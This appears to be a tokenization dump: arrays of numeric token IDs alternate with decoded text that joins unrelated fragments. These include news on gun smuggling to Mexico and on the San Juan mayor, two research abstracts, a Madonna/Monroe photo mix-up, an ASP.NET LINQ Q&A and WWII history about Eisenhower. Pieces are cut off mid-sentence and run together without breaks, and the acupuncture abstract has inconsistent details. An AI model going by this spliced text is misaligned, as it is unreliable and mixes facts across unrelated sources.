16867, 47826, 73, 24736, 15, 187, 187, 1328, 285, 521, 4475, 1777, 21767, 261, 840, 5262, 1740, 2607, 37676, 253, 10440, 15, 187, 187, 7710, 12951, 24157, 13282, 352, 574, 644, 1669, 407, 247, 7731, 387, 521, 2579, 4660, 275, 1457, 2816, 2846, 275, 20208, 15, 187, 187, 510, 4564, 3982, 275, 34334, 6485, 11007, 13680, 13, 665, 5783, 352, 369, 247, 13241, 13, 12302, 1089, 15, 187, 187, 46593, 11526, 247, 3668, 8059, 281, 24973, 300, 253, 2460, 533, 4136, 690, 18680, 247, 36129, 25044, 15, 187, 187, 3726, 5125, 253, 31769, 21764, 369, 275, 958, 247, 5103, 273, 6984, 5860, 432, 617, 19908, 9748, 1984, 13, 16678, 15, 187, 187, 1147, 8653, 253, 16057, 9398, 816, 25296, 285, 247, 1133, 22738, 13, 342, 247, 19555, 275, 617, 6208, 15, 187, 187, 46593, 25436, 253, 10551, 27, 346, 1394, 1472, 987, 28, 352, 434, 6984, 5860, 15, 1310, 627, 2455, 369, 271, 34019, 2774, 29001, 187, 187, 1328, 1335, 5827, 281, 2186, 253, 3668, 8059, 281, 346, 1664, 253, 3440, 3446, 187, 187, 3, 7883, 14896, 1060, 32, 6984, 5860, 13, 273, 2282, 15, 1500, 1663, 4453, 751, 2398, 1031, 79, 34334, 937, 16701, 13680, 15, 187, 187, 1147, 310, 417, 2590, 835, 253, 10440, 2686, 2210, 432, 13, 533, 13680, 753, 344, 6566, 3095, 574, 19347, 253, 20731, 715, 2305, 12951, 24157, 434, 45308, 347, 247, 8542, 16391, 15, 1145, 3028, 21955, 4712, 273, 26290, 432, 253, 8424, 273, 18371, 1295, 571, 11267, 2162, 74, 15, 187, 47, 460, 1929, 7006, 497, 41005, 7011, 432, 253, 10410, 45193, 4908, 273, 18371, 1295, 571, 11267, 2162, 74, 8424, 407, 38360, 2425, 12925, 13, 285, 253, 5793, 5289, 497, 3636, 407, 970, 33736, 285, 2150, 4173, 14, 20465, 1783, 15, 28995, 40681, 7103, 1411, 1740, 2923, 894, 3104, 369, 2684, 327, 512, 841, 7006, 13, 534, 2692, 326, 611, 33730, 812, 320, 3012, 14481, 407, 7898, 7006, 342, 9276, 9, 1235, 10, 2193, 387, 253, 2491, 432, 3387, 281, 3925, 4654, 16, 8316, 15, 50, 27, 187, 187, 17148, 272, 3453, 432, 619, 19169, 82, 7316, 275, 14271, 187, 187, 42, 717, 970, 29781, 15, 3024, 5161, 10726, 7792, 15, 50276, 42, 717, 2820, 281, 3379, 562, 253, 1543, 273, 619, 7316, 715, 619, 14271, 15, 50276, 4943, 310, 619, 2127, 15, 187, 1552, 310, 619, 964, 6113, 1873, 187, 3145, 36524, 15, 6989, 64, 15413, 64, 47258, 426, 313, 4064, 2608, 64, 23832, 275, 795, 8882, 15, 17104, 64, 15413, 64, 47258, 187, 50254, 50274, 6604, 2608, 275, 795, 8882, 15, 17104, 327, 2608, 64, 23832, 15, 15987, 64, 301, 18207, 2608, 15, 301, 2490, 50254, 50274, 6604, 1885, 275, 795, 8882, 15, 47258, 327, 2608, 64, 23832, 15, 23832, 64, 301, 18207, 1885, 15, 301, 2490, 50254, 50274, 3609, 747, 551, 1416, 426, 50276, 4537, 15, 1590, 13, 1885, 426, 1885, 15, 1590, 13, 2490, 50254, 252, 50264, 47704, 426, 2608, 64, 23832, 15, 371, 266, 262, 414, 13, 3522, 426, 2608, 64, 23832, 15, 22337, 64, 255, 9897, 187, 187, 26966, 9, 2044, 5382, 275, 9182, 36524, 15, 6989, 64, 15413, 64, 47258, 10, 187, 92, 187, 50273, 7761, 15, 35184, 15, 33626, 3914, 3, 92, 4835, 15, 1590, 94, 3287, 1380, 2520, 3453, 310, 3451, 187, 94, 187, 187, 4943, 310, 619, 964, 6113, 2974, 3239, 187, 26778, 187, 50274, 338, 9, 3145, 36524, 15, 6989, 64, 15413, 64, 47258, 3613, 3635, 10, 187, 50274, 92, 187, 50270, 26966, 9, 2044, 5382, 275, 9182, 36524, 15, 6989, 64, 15413, 64, 47258, 10, 187, 50270, 92, 187, 50266, 29, 81, 31, 33, 5, 3, 92, 4835, 15, 1590, 13272, 870, 81, 31, 1380, 85, 11729, 281, 3379, 352, 562, 1060, 187, 50270, 94, 187, 50274, 94, 187, 94, 187, 187, 42, 671, 3597, 654, 81, 31, 33, 4835, 15, 1590, 870, 81, 31, 533, 1694, 271, 1789, 1057, 417, 3831, 247, 5426, 323, 1416, 2228, 15, 187, 187, 34, 27, 187, 187, 1394, 1053, 626, 878, 253, 2876, 19101, 275, 634, 964, 6113, 2974, 1873, 13, 816, 897, 352, 347, 310, 13, 923, 253, 1563, 1650, 27, 187, 26778, 187, 50274, 338, 9, 3145, 36524, 15, 6989, 64, 15413, 64, 47258, 3613, 3635, 10, 187, 50274, 92, 187, 50270, 26966, 9, 2044, 5382, 275, 9182, 36524, 15, 6989, 64, 15413, 64, 47258, 10, 187, 50270, 92, 187, 50266, 29, 81, 31, 33, 4835, 15, 1590, 870, 81, 31, 187, 50270, 94, 187, 50274, 94, 187, 94, 187, 187, 1989, 253, 1805, 17401, 310, 281, 1973, 247, 1566, 285, 5007, 352, 281, 634, 1859, 13, 751, 436, 27, 187, 4387, 966, 11447, 47258, 3145, 7645, 1082, 551, 187, 50273, 4387, 2876, 9424, 551, 755, 28, 873, 28, 748, 187, 50273, 4387, 2876, 13126, 551, 755, 28, 873, 28, 748, 187, 50273, 4387, 540, 12597, 414, 551, 755, 28, 873, 28, 748, 187, 50273, 4387, 2876, 10421, 551, 755, 28, 873, 22866, 187, 94, 187, 187, 395, 897, 352, 275, 634, 964, 6113, 1873, 751, 436, 27, 187, 3145, 36524, 15, 6989, 64, 15413, 64, 47258, 426, 313, 4064, 2608, 64, 23832, 275, 795, 8882, 15, 17104, 64, 15413, 64, 47258, 187, 50254, 50274, 6604, 2608, 275, 795, 8882, 15, 17104, 327, 2608, 64, 23832, 15, 15987, 64, 301, 18207, 2608, 15, 301, 2490, 50254, 50274, 6604, 1885, 275, 795, 8882, 15, 47258, 327, 2608, 64, 23832, 15, 23832, 64, 301, 18207, 1885, 15, 301, 2490, 50254, 50274, 3609, 747, 11447, 47258, 3145, 7645, 1082, 551, 2490, 50254, 50270, 50276, 2402, 426, 50276, 4537, 15, 1590, 13, 13126, 426, 1885, 15, 1590, 13, 2490, 50254, 50270, 50276, 48514, 426, 2608, 64, 23832, 15, 371, 266, 262, 414, 13, 10421, 426, 2608, 64, 23832, 15, 22337, 64, 255, 187, 50254, 50272, 9897, 187, 187, 1898, 275, 634, 964, 6113, 2974, 751, 436, 27, 187, 26778, 187, 50274, 338, 9, 3145, 36524, 15, 6989, 64, 15413, 64, 47258, 3613, 3635, 10, 187, 50274, 92, 187, 50270, 26966, 9, 6989, 47258, 3145, 7645, 5382, 275, 9182, 36524, 15, 6989, 64, 15413, 64, 47258, 10, 187, 50270, 92, 187, 50266, 29, 81, 31, 33, 4835, 15, 2402, 870, 81, 31, 187, 50270, 94, 187, 50274, 94, 187, 94, 535, 16227, 273, 5003, 21587, 18308, 3617, 265, 6694, 267, 347, 3778, 5706, 7305, 4058, 327, 7879, 187, 187, 36, 1513, 257, 714, 6236, 16874, 310, 4283, 14471, 6031, 275, 5003, 21587, 13, 22699, 25681, 15, 187, 187, 34, 7512, 273, 253, 14967, 273, 5003, 21587, 259, 6748, 949, 8138, 14, 8656, 12685, 342, 247, 19488, 9761, 531, 1309, 14471, 6031, 1563, 34473, 17100, 556, 4783, 9907, 13, 846, 3918, 10053, 3778, 753, 703, 556, 2011, 773, 31943, 9550, 668, 275, 10620, 342, 253, 8891, 15, 187, 187, 510, 3918, 13, 13660, 8211, 432, 521, 3055, 15692, 5453, 275, 19761, 29345, 327, 7814, 4131, 13, 10466, 22787, 257, 714, 6236, 16874, 369, 440, 737, 366, 1020, 323, 253, 14471, 6031, 1146, 5196, 407, 253, 530, 15, 52, 15, 4668, 285, 806, 38427, 275, 22699, 25681, 15, 187, 187, 1051, 18869, 4105, 9550, 3745, 407, 253, 18308, 273, 5003, 21587, 13, 285, 2571, 275, 22699, 25681, 13, 665, 403, 417, 2104, 281, 755, 616, 5820, 281, 1361, 15, 1583, 2391, 187, 187, 510, 5701, 2210, 1563, 16874, 457, 84, 12678, 323, 1361, 1309, 247, 3668, 8059, 327, 6794, 13, 835, 703, 23159, 253, 3778, 5286, 323, 24428, 6619, 6031, 275, 22699, 25681, 281, 3176, 347, 625, 10599, 685, 597, 2686, 452, 644, 15, 22699, 25681, 457, 84, 11319, 556, 644, 11069, 1563, 34473, 17100, 13, 285, 3578, 1897, 846, 253, 9902, 33544, 949, 253, 12785, 13, 1199, 273, 22699, 25681, 310, 1335, 1293, 13978, 13, 347, 8811, 11182, 281, 755, 2289, 281, 4999, 10678, 1824, 13, 2739, 13, 7236, 285 ]	criminal histories to purchase firearms, often assault-style weapons, and those weapons are then smuggled into Mexico," Pitman was quoted as telling reporters in San Antonio. "The consequences of that smuggling can be seen every day in the murders which take place south of the border." Mexico’s Attorney General last month released statistics showing that nearly 50,000 people had died in drug-related violence since Mexican President Felipe Calderón called out the Army to combat the drug cartels five years ago. The Zetas, Mexico’s second most-powerful narcotics organization, are among the most violent participants in the drug war. According to Reuters, the group comprise Army deserters who once were muscle for the Gulf Cartel. In a related development, The Los Angeles Times reported yesterday that Mexican authorities had arrested Jose Antonio Torres Marrufo, who is accused as an enforcer for the Sinaloa Cartel, Mexico’s most powerful, and who allegedly amassed weapons under the US government’s failed counter-smuggling gun operation called Fast and Furious.[Effect of acupoint-injection of stem cell factor antibody on electroacupuncture induced changes of count and degranulation of subcutaneous mast cells in the local region in rats]. To observe the alternations of local mast cells (MCs) in the number and functional activities after electroacupuncture (EA) and injection of stem cell factor (SOF) antibody into "Weishu" (BL 21) and "Zusanli" (ST 36) in rats. Thirty Wistar rats were randomly assigned to normal, EA, and EA + SCF antibody injection (EA-ABI) groups (n=10). EA was applied to the left "Weishu"(BL 21) and "Zusanli" (ST 36) for 25 min. For rats of EA+ ABI group, SOF-AB (1:200, 0.1 mL) was respectively injected into BL 21 and ST 36, following by EA. The tissues around the two acupoints areas were sampled to be stained with acetylcholine esterase (AchE) and toluidine blue (TB), respectively. The counts and degranulation ratio of MOs in the acupoint region were recorded and observed under microscope. In comparison with the normal group, MCs count was increased significantly in the EA of "Weishu" (BL 21) group (P < 0.05), mildly in the EA of "Zusanli" (ST 36) group (P > 0.05), and downregulated considerably in both EA-ABI-BL 21 and EA-ABI-ST 36 groups (P < 0.05). Compared with the normal group, the degranulation ratio of MCs was increased significantly in EA-BL 21, EA-ST 36, EA-ABI-BL 21 and EA-ABI-ST 36 groups (P < 0.5). No significant differences were found between EA-BL 21 and EA-ABI-BL 21 groups, and between EA-ST 36 and EA-ABI-ST 36 groups in the degranulation ratios (P > 0.05). Local injection of SCF antibody in BL 21 and ST 36 can significantly suppress EA-induced increase of the number and degranulation ratio of local subcutaneous MCs in rats, suggesting that SCF is an important factor affecting the activity and recruitment of MCs around the acupoint during EA.Madonna has at times imitated Monroe's bottle blonde looks Lawrence Nicastro, 73, said he found the grainy poster-sized photo at his home and thought it was a rare picture of Monroe posing as a naked hitchhiker. He and his wife Phyllis then spent four months researching the photograph. Mr Nicastro suspected it had been left by a customer at his service station in New York city in 1962. The couple brought in Monroe expert Chris Harris, who confirmed it was a genuine, exciting find. Harris scheduled a news conference to unveil the image but allowed some journalists a sneak preview. They suggested the photographic treasure was in fact a shot of Madonna from her graphic 1992 book, Sex. It displayed the singer wearing just heels and a handbag, with a cigarette in her mouth. Harris realised the mistake: "You're right; it's Madonna. If there ever was an embarrassing moment..." He still plans to hold the news conference to "face the music". "Who wins here? Madonna, of course. She really looks like Marilyn Monroe," insisted Harris. It is not clear where the photograph actually came from, but Harris said he believed someone had slipped the poster into Mr Nicastro's belongings as a practical joke.Anticancer activities of constituents from the stem of Polyalthia rumphii. Nine known compounds were firstly isolated from the chloroform extract of Polyalthia rumphii stem by anticancer activity guidance, and the chemical structures were identified by using spectroscopic and physico-chemical analysis. Cytotoxic evaluation against four cancer cell lines was performed on all these compounds, which showed that K562 could be significantly inhibited by partial compounds with IC(50) values at the range from 40 to 60 μ/mL.Q: Printing output from my linq query in html I am using asp.net core entity framework. I am trying to print out the results of my query into my html. Here is my code. This is my.cs file ViewBag.User_Has_Products = (from user_products in _context.Users_Has_Products join user in _context.Users on user_products.users_id equals user.id join product in _context.Products on user_products.products_id equals product.id select new { name = user.name, product = product.name, quantity = user_products.quanitity, date = user_products.created_at}); foreach(var item in ViewBag.User_Has_Products) { System.Console.WriteLine($"{item.name}"); //this output is correct } Here is my.cshtml page @{ if(ViewBag.User_Has_Products!= null) { foreach(var item in ViewBag.User_Has_Products) { <p>@$"{item.name}"</p> //trying to print it out here } } } I also tried <p>@item.name</p> but got an object does not contain a definition for name error. A: You don't need the string quotes in your.cshtml file, just use it as is, see the following example: @{ if(ViewBag.User_Has_Products!= null) { foreach(var item in ViewBag.User_Has_Products) { <p>@item.name</p> } } } But the better recommendation is to build a model and send it to your view, like this: public class UserProductsViewmodel() { public string Name { get; set; } public string Product { get; set; } public int Quantity { get; set; } public string Date { get; set;} } and use it in your.cs file like this: ViewBag.User_Has_Products = (from user_products in _context.Users_Has_Products join user in _context.Users on user_products.users_id equals user.id join product in _context.Products on user_products.products_id equals product.id select new UserProductsViewmodel() { Name = user.name, Product = product.name, Quantity = user_products.quanitity, Date = user_products.created_at }); And in your.cshtml like this: @{ if(ViewBag.User_Has_Products!= null) { foreach(UserProductsViewmodel item in ViewBag.User_Has_Products) { <p>@item.Name</p> } } } Photo of San Juan Mayor Goes Viral as Trump Attacks Her on Twitter Carmen Yulin Cruz is leading rescue efforts in San Juan, Puerto Rico. A photo of the mayor of San Juan wading through waste-high waters with a megaphone during rescue efforts following Hurricane Maria has gone viral, after President Donald Trump said she has shown “poor leadership” in dealing with the crisis. The President, tweeting from his private golf club in Bedminster on Saturday morning, implied Carmen Yulin Cruz was ungrateful for the rescue efforts being conducted by the U.S. military and first responders in Puerto Rico. ...Such poor leadership ability by the Mayor of San Juan, and others in Puerto Rico, who are not able to get their workers to help. They.... The comments came following Cruz’s plea for help during a news conference on Friday, where she criticized the Trump administration for spinning relief efforts in Puerto Rico to appear as more adequate than they actually have been. Puerto Rico’s infrastructure has been destroyed following Hurricane Maria, and ten days after the storm tore through the territory, much of Puerto Rico is still without electricity, as residents struggle to get access to safe drinking water, food, fuel and
[ 13, 13405, 281, 923, 253, 6680, 8232, 15, 1583, 12668, 281, 6912, 70, 2310, 13, 253, 4782, 17929, 273, 253, 4782, 6347, 8663, 285, 253, 581, 14, 2606, 1728, 273, 7252, 253, 1716, 14056, 263, 13, 253, 760, 643, 637, 283, 16829, 323, 32133, 47577, 285, 44402, 34343, 283, 936, 452, 26814, 247, 2831, 14, 18851, 11492, 15, 187, 187, 6175, 1733, 4263, 275, 253, 11600, 2170, 13, 2516, 369, 47096, 281, 923, 247, 815, 30637, 89, 273, 4668, 9411, 6276, 270, 24512, 281, 270, 24512, 15, 2064, 369, 4336, 275, 8411, 273, 253, 4668, 5199, 344, 574, 644, 10256, 387, 4255, 11149, 15, 346, 1394, 1871, 1620, 755, 1977, 342, 436, 604, 368, 1904, 626, 452, 2329, 34385, 937, 753, 253, 25547, 278, 26082, 1273, 32386, 15, 187, 187, 3, 39312, 937, 309, 413, 24145, 896, 13, 346, 338, 309, 1904, 626, 452, 2329, 34385, 13, 309, 5082, 626, 320, 1060, 449, 187, 187, 24327, 34385, 651, 320, 253, 30417, 5024, 275, 253, 5557, 273, 253, 5685, 8544, 387, 253, 8852, 15, 380, 32683, 2098, 17096, 651, 320, 247, 1264, 14, 1087, 543, 264, 2983, 6146, 1034, 949, 6181, 407, 15345, 932, 27438, 13, 27991, 13, 285, 2790, 1299, 15, 496, 24636, 44346, 3508, 13, 2790, 1299, 574, 17735, 521, 10824, 275, 37601, 1279, 327, 4223, 337, 15, 187, 187, 2214, 32133, 47577, 13, 10636, 273, 5700, 651, 2489, 36255, 275, 13216, 15, 367, 565, 14, 10306, 27438, 342, 521, 2502, 320, 1221, 285, 1213, 307, 17328, 581, 273, 247, 270, 386, 312, 687, 7337, 15, 2790, 1299, 342, 521, 3168, 26358, 285, 27887, 77, 14, 4608, 1070, 3585, 14930, 369, 253, 2448, 37566, 42484, 13, 3426, 342, 30006, 5269, 790, 15, 6295, 497, 35524, 342, 581, 4736, 27, 281, 320, 253, 806, 281, 9549, 31831, 616, 20470, 715, 12911, 15, 1583, 671, 6096, 253, 9611, 326, 597, 3260, 625, 670, 4668, 5700, 685, 32133, 47577, 15, 7160, 2746, 281, 6680, 13, 2299, 13, 812, 417, 452, 644, 625, 1027, 15, 2790, 1299, 369, 11449, 1050, 28, 27438, 13, 625, 46524, 15, 187, 187, 3404, 253, 659, 15, 5171, 434, 4726, 30945, 327, 4693, 13, 27438, 574, 40818, 281, 320, 346, 48459, 272, 327, 253, 46413, 273, 6047, 257, 3, 387, 253, 990, 273, 253, 806, 1388, 15, 2896, 3978, 1384, 313, 37, 14, 1201, 5043, 25963, 10, 27438, 1335, 574, 417, 2668, 6047, 257, 15, 187, 187, 28211, 25256, 434, 6680, 3740, 17328, 309, 413, 273, 247, 2872, 5041, 18718, 31021, 275, 253, 17437, 84, 15, 4129, 253, 7929, 2146, 18801, 247, 1175, 3809, 2910, 13, 344, 816, 44768, 11046, 387, 253, 18803, 273, 253, 5340, 3185, 273, 11132, 253, 4352, 1336, 15, 1284, 27438, 4159, 1996, 13, 346, 1147, 369, 1900, 1077, 2590, 326, 309, 413, 285, 309, 497, 25284, 7419, 672, 352, 2210, 281, 253, 2589, 273, 253, 2137, 449, 4200, 555, 6566, 275, 346, 328, 7187, 6816, 253, 9054, 1223, 7562, 4336, 16645, 2994, 449, 380, 4782, 2087, 10490, 281, 2983, 327, 247, 1077, 6891, 2914, 15, 496, 690, 4088, 309, 413, 1869, 27438, 369, 751, 6086, 8771, 282, 620, 266, 275, 253, 2448, 10109, 3660, 13, 665, 275, 18638, 273, 13313, 1900, 35039, 18280, 253, 9054, 434, 14603, 15, 187, 187, 3463, 4163, 337, 13, 672, 6047, 257, 13, 13531, 13183, 434, 2201, 2846, 13, 574, 1335, 417, 644, 10848, 13, 247, 23573, 309, 413, 2427, 281, 27438, 434, 17929, 15, 4200, 555, 434, 42837, 16267, 369, 346, 968, 86, 2276, 13191, 449, 16140, 272, 281, 4693, 13, 309, 413, 2427, 281, 923, 27961, 13, 12360, 342, 253, 17401, 407, 521, 3331, 17979, 6037, 36923, 17446, 491, 281, 34707, 4200, 555, 15, 380, 2098, 369, 281, 452, 27961, 8386, 779, 24311, 281, 253, 3995, 273, 40434, 15, 6061, 11157, 13, 27961, 22612, 264, 19311, 555, 13, 346, 13924, 13, 4200, 555, 13, 275, 13313, 13, 801, 297, 7116, 28, 275, 7170, 13, 828, 1763, 917, 449, 2732, 247, 42199, 273, 521, 32977, 3230, 13, 344, 2879, 13, 346, 395, 275, 10170, 13, 1210, 6030, 494, 449, 187, 187, 510, 1895, 387, 253, 2774, 323, 32133, 47577, 369, 326, 4200, 555, 1904, 626, 452, 247, 10170, 281, 320, 1210, 6030, 494, 670, 15, 27961, 5907, 281, 896, 32133, 47577, 275, 29999, 27438, 15, 1292, 309, 413, 812, 417, 3785, 253, 9632, 15, 4200, 555, 369, 271, 10651, 275, 253, 4782, 2315, 15, 380, 30450, 273, 33252, 14, 54, 15, 52, 15, 16167, 651, 320, 25132, 314, 1315, 19416, 275, 253, 4693, 2315, 598, 287, 274, 689, 4200, 555, 434, 46023, 15, 1916, 1329, 309, 413, 13, 27961, 858, 11265, 4200, 555, 281, 2028, 779, 326, 32133, 47577, 3815, 651, 1480, 253, 5284, 5700, 15, 754, 840, 48315, 1245, 27438, 407, 2403, 779, 247, 1673, 278, 19032, 15, 1292, 4200, 555, 1694, 253, 3935, 15, 1623, 4163, 818, 13, 846, 253, 35069, 574, 268, 20440, 17371, 6047, 257, 715, 7692, 934, 13, 4200, 555, 434, 10824, 31653, 275, 15, 1292, 984, 273, 253, 12536, 13, 253, 396, 522, 430, 6047, 257, 369, 642, 3356, 273, 1199, 15285, 1318, 15, 187, 187, 18291, 4200, 555, 1024, 1869, 344, 651, 31636, 2522, 253, 2022, 19031, 715, 6176, 15, 2091, 344, 6311, 326, 2790, 1299, 434, 8544, 651, 320, 13590, 697, 20470, 2584, 42471, 13, 344, 41763, 285, 15665, 326, 309, 413, 1705, 923, 779, 13, 1014, 2167, 344, 3260, 253, 530, 15, 52, 15, 24555, 17747, 369, 18414, 281, 1531, 307, 2706, 407, 247, 3332, 12267, 4975, 15, 187, 187, 9304, 555, 33243, 6948, 247, 45310, 796, 16153, 326, 2790, 1299, 13, 417, 32133, 47577, 13, 369, 3515, 253, 2137, 15, 754, 16701, 326, 1453, 273, 253, 2659, 4544, 281, 4901, 6176, 320, 4895, 281, 779, 15, 496, 253, 4766, 273, 521, 4230, 606, 489, 344, 8042, 281, 521, 747, 10720, 4177, 273, 1673, 278, 19032, 3708, 13, 534, 5958, 1070, 309, 413, 15, 187, 187, 3, 6812, 5102, 13, 4200, 555, 937, 309, 413, 9577, 13, 8133, 521, 1133, 327, 4200, 555, 434, 12267, 15, 346, 1394, 476, 626, 3984, 281, 479, 751, 326, 15, 309, 1353, 634, 12145, 449, 187, 187, 9304, 555, 840, 7320, 562, 521, 2098, 13, 33690, 15111, 14, 40, 6702, 15, 733, 1925, 323, 14270, 253, 2406, 11537, 460, 275, 21155, 17563, 715, 253, 16333, 15, 380, 3236, 32683, 5700, 369, 281, 9232, 285, 7895, 743, 7553, 47952, 13, 253, 5962, 2245, 327, 253, 3729, 11936, 285, 253, 8642, 281, 253, 5685, 2798, 1373, 15, 9110, 32133, 47577, 5821, 281, 4200, 555, 434, 5333, 275, 5700, 984, 344, 3078, 247, 9729, 2522, 2439, 253, 11537, 460, 1078, 253, 19031, 273, 253, 32683, 13413, 38391, 3026, 15, 21155, 17563, 369, 253, 4376, 273, 21927, 839, 27438, 13, 533, 352, 369, 14842, 262, 4087, 16624, 15, 496, 4397, 253, 20003, 7171, 896, 4200, 555, 434, 4782, 42864, 1061, 35078, 2211, 2983, 1411, 21155, 17563, 15, 187, 187, 510, 20946, 34158, 275, 6181, 574, 269, 5442, 5041, 434, 13079, 323, 247, 5685, 23277, 1078, 253, 990, 273, 4397, 15, 329, 1289, 360, 32133, 47577, 2361, 281, 247, 19271, 4214, 19629, 326, 253, 7203, 273, 18824, 651, 320, 253, 18353, 990, 281, 253, 2137, 15, 4129, 690, 4668, 30525, 1158, 326, 253, 15111, 14, 40, 6702, 4433, 490, 7551, 271, 2393, 12365, 273, 253, 2137, 13, 32133, 47577, 13, 247, 5685, 407, 2614, 2994, 13, 1620, 6566, 253, 5685, 8544, 651, 23277, 1293, 247, 1390, 14, 69, 2682, 5684, 273, 253, 10956, 1373, 15, 187, 187, 510, 3638, 11684, 273, 4200, 555, 285, 9309, 466, 2790, 1299, 37007, 309, 413, 434, 22450, 281, 253, 10155, 1127, 13, 533, 253, 5112, 17747, 372, 12146, 24533, 4821, 281, 6351, 32133, 47577, 434, 1675, 15, 4129, 38140, 1335, 26882, 1701, 253, 5112, 2087, 13, 32133, 47577, 285, 27961, 6096, 253, 9927, 326, 372, 12146, 24533, 6607, 253, 760, 1896, 18240, 272, 4677, 323, 253, 5112, 35624, 15, 3032, 419, 1137, 321, 13, 2299, 13, 369, 391, 31377, 387, 667, 18998, 2438, 47610, 281, 6181, 390, 281, 521, 15555, 15, 27961, 2183, 309, 413, 326, 327, 1110, 15530, 344, 3261, 751, 346, 66, 5343, 26198, 2902, 665, 556, 816, 644, 9861, 275, 617, 8158, 449, 1292, 1097, 11575, 372, 12146, 24533, 347, 253, 3811, 25754, 281, 253, 34173, 273, 6181, 15, 32133, 47577, 2183, 372, 12146, 24533, 13, 346, 42, 369, 3430, 670, 368, 275, 3729, 7531, 449, 187, 187, 3848, 12146, 24533, 10017, 13, 346, 1394, 403, 247, 637, 13, 4214, 449, 6295, 3715, 15577, 1675, 15, 18, 2726, 309, 413, 434, 32116, 13, 5112, 35624, 10824, 31653, 342, 309, 413, 434, 1711, 3331, 346, 40, 1796, 3, 17626, 319, 347, 253, 10875, 2392, 273, 7785, 327, 4223, 3285, 15, 380, 7785, 2458, 9119, 3026, 253, 5112, 285, 530, 15, 52, 15, 9647, 13, 15950, 12405, 13, 9159, 17543, 273, 41201, 13, 285, 1014, 13989, 272, 253, 11734, 10824, 15, 187, 187, 38, 11889, 47577, 858, 417, 10078, 15, 733, 369, 253, 35224, 273, 29894, 13, 417, 253, 35297, 273, 8238, 13, 326, 369, 521, 8103, 15, 3771, 347, 521, 8080, 530, 15, 322, 15, 13629, 1620, 574, 25380, 13, 253, 38540, 5347, 13, 275, 521, 15285, 29962, 13, 594, 32133, 47577, 12258, 12911, 347, 247, 6561, 2647, 15, 27961, 283, 1439, 281, 3748, 27438, 285, 2790, 1299, 283, 35577, 352, 13359, 15, 12911, 369, 43527, 275, 253, 27961, 2303, 273, 18577, 3564, 342, 253, 24794, 347, 2080, 9268, 273, 253, 3599, 1257, 7121, 347, 1896, 15, 187, 187, 510, 12911, 1953, 285, 24636, 743, 33745, 16, 43678, 3508, 4269, 253, 954, 2600, 784, 45880, 875, 253, 767, 1821, 15, 1583, 3261, 387, 12911, 432, 1027, 24302, 13, 32133, 47577, 347, 247, 15796, 13, 27961, 347, 247, 3054, 1342, 28, 253, 581, 347, 247, 4668, 13253, 6876, 13, 285, 253, 643, 347, 247, 3569, 8113, 552, 15, 27961, 434, 4668, 323, 442, 369, 275, 253, 4936, 5700, 15, 32133, 47577, 434, 21242, 369, 521, 47168, 273, 38238, 15, 187, 187, 38, 11889, 47577, 434, 11674, 369, 1900, 253, 1786, 13, 1617, 13, 285, 4852, 273, 521, 1821, 15, 754, 3078, 281, 990, 253, 2137, 347, 4541, 347, 1896, 15, 27961, 434, 4335, 4468, 369, 752, 4592, 846, 253, 2137, 15, 754, 574, 6311, 432, 3645, 3660, 309, 326, 253, 32822, 273, 3167, 3191, 369, 417, 2217, 604, 19951, 7882, 369, 417, 6786, 15, 187, 187, 42462, 408, 574, 10066, 743, 33745, 16, 43678, 3508, 347, 253, 15165, 4254, 275, 11053, 6181, 984, 352, 31817, 4668, 10824, 285, 5300, 432, 9972, 13, 534, 344, 3078, 347, 247, 25251, 13229, 323, 253, 41028, 507, 15, 27961, 369, 45522, 407, 253, 12194, 4322, 275, 34262, 285, 31208, 571, 13, 347, 973, 347, 17785, 15, 496, 4223, 27961, 574, 1313, 342, 4214, 308, 7067, 273, 40787, 571, 13, 342, 5207, 521, 3347, 13, 44198, 13, 369, 9417, 347, 247, 45652, 1988, 15, 187, 187, 1989, 281, 32133, 47577, 13, 27961, 434, 346, 4524, 8382, 314, 273, 3060, 3, 369, 581, 5931, 273, 5685, 11129, 2266, 15532, 326, 651, 1161, 88, 598, 2448, 4852, 15, 496, 309, 413, 434, 3000, 27, 346, 42, 1053, 626, 923, 253, 1219, 793, 347, 667, 686, 4524, 8382, 314, 18574, 32133, 47577, 10066, 27961, 327, 12911, 13, 1512, 15, 309, 413, 369, 5480, 281, 1581, 253, 12194, 29894, 281, 3986, 12911, 806, 984, 326, 812, 3657, 247, 2716, 3041, 32853, 2190, 253, 5621, 344, 12860, 15, 380, 2087, 11575, 253, 4112, 949, 247, 4668, 49615, 273, 13868, 521, 1821, 15, 187, 187, 38, 11889, 47577, 574, 642, 2853, 16723, 670, 253, 10968, 46426, 15, 733, 369, 816, 326, 667, 3061, 327, 12911, 40209, 39479, 327, 253, 21731, 3646, 14, 11849, 7571, 273, 253, 4007, 15, 4325, 253, 1304, 326, 32133, 47577, 574, 327, 253, 2745, 379, 266, 12651, 13, 21519, 574, 35696, 281, 29161, 281, 8027, 642, 32683, 39482, 715, 253, 41028, 507, 285, 281, 1581, 12194, 5857, 715, 12911, 15, 28814, 13, 2139, 943, 309, 413, 5007, 521, 29894, 715, 3672, 326, 27961, 13, 29161, 13, 285, 21519, 574, 2168, 25102, 2149, 745, 347, 12194, 28394, 273, 4833, 32, 187, 187, 38, 11889, 47577, 369, 642, 5602, 34021, 15, 1284, 247, 5702, 15796, 13, 344, 36968, 2403, 7089, 521, 17747, 275, 7015, 943, 6283, 1056, 15, 32133, 47577, 1869, 326, 27961, 369, 17285, 275, 521, 18055, 273, 12194, 38767, 13, 533, 604, 594, 13, 27961, 574 ]	, crossed to see the battle zone. They drove to Bayeux, the British headquarters of the British Second Army and the one-time home of William the Conqueror, the only other man--except for Eisenhower and Julius Caesar--to have commanded a cross-Channel invasion. While motoring in the beach area, John was astonished to see a phalanx of military vehicles driving bumper to bumper. That was completely in violation of the military procedure he had been taught at West Point. "You'd never get away with this if you didn't have air superiority," said the freshly minted second lieutenant. "Hell," Ike snapped back, "if I didn't have air superiority, I wouldn't be here." Air superiority would be the decisive edge in the rout of the German army at the coast. The Allied plan thereafter would be a three-pronged attack northward through France by Generals Montgomery, Bradley, and Patton. In Operation Dragoon, Patton had landed his troops in Brittany on August 1. For Eisenhower, execution of strategy would become entangled in personality. Pint-sized Montgomery with his red beret and strut reminded one of a bantam rooster. Patton with his white helmet and pearl-handled revolver was the American bald eagle, complete with shiny talons. Both were obsessed with one goal: to be the first to ride atop their tanks into Berlin. They also shared the conviction that they knew more about military strategy than Eisenhower. Their approach to battle, however, could not have been more different. Patton was confrontational; Montgomery, more oblique. At the St. Paul's School briefing on London, Montgomery had vowed to be "knocking on the outskirts of Caen" at the end of the first day. By June 20 (D-day plus fourteen) Montgomery still had not taken Caen. Montgomery's battle style reminded Ike of a young Washington Senator 